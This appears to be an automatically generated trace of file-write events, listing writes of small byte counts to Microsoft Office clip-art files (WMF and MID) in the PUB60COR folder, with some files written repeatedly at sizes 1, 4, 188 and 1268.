Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00932_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00985_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BOAT.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BOATINST.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00076_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00078_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00092_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00100_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00135_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00136_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00145_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00174_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00184_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00186_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00200_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00224_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00438_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00439_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00440_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00441_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00442_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00443_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00444_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00445_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS00453_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01080_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01603_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01634_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01635_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01636_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01637_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01638_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BS01639_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CARBN_01.MID size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CG1606.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CLASSIC1.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CLASSIC2.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CLIP.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CLIP.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CLIP.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CLIP.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CMNTY_01.MID size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CMNTY_01.MID size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CMNTY_01.MID size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CMNTY_01.MID size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CRANE.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CRANE.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CRANE.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CRANE.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CRANINST.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CRANINST.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CRANINST.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CRANINST.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CUP.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CUP.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CUP.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CUP.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CUPINST.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CUPINST.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CUPINST.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\CUPINST.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00117_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00117_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00117_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00117_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00121_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00121_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00121_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00121_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00234_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00255_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00256_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00261_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00297_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00372_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00405_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00407_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00413_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00414_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00419_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00437_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00448_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00449_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00687_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD00705_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01015_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01039_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01138_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01139_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01140_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01143_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01145_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01146_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01151_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01152_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01157_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01160_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01162_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01163_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01166_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01167_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01168_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01169_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01170_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01171_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01172_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01173_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01176_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01178_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01179_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01180_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01181_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01182_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01183_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01186_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01366_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01434_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01585_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01586_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01628_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01629_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01630_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01631_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01761_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01772_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\DD01793_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EAST_01.MID size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\ED00010_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\ED00019_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\ED00172_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\ED00184_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00006_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00202_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00222_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00242_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00319_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00320_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00397_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EN00902_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\EXPLR_01.MID size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FALL_01.MID size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00074_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00076_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00077_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00086_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00090_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00096_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00296_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00296_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00296_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00296_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00297_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00306_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00336_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00336_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00336_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00336_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00361_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00369_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00382_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00397_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00403_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00414_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00419_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00428_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00435_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00438_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00455_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00459_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00543_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00544_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00564_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00586_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00775_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00775_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00775_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00775_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00779_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00799_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00814_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00965_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01074_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01084_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01176_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01191_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01193_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01196_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01548_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01657_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01658_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01659_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD01660_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02068_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02071_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02075_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02088_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02097_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02115_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02116_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02116_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02116_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02116_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02141_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02153_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02158_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD02161_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FINCL_01.MID size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FINCL_02.MID size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FLAP.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\GRDEN_01.MID size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\GRID_01.MID size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00057_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00057_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00057_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00057_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00084_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00231_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00235_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00236_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00236_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00236_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00236_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00241_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00260_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00260_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00260_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00260_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00276_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00334_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00443_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00513_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00524_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00526_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00527_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00546_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00601_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00601_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00601_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00601_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00602_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00612_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00623_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00625_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00636_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00669_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00681_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00685_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00687_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00688_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH00693_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01013_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01015_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01058_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01065_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01080_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01242_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01291_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01329_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01461_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01461_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01461_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01461_.WMF size = 1268 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01618_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01759_.WMF size = 1 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01759_.WMF size = 4 True 3
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01759_.WMF size = 188 True 1
Fn
Data
Write C:\Program Files\Microsoft Office\CLIPART\PUB60COR\HH01759_.WMF size = 1268 True 1
Fn
Data
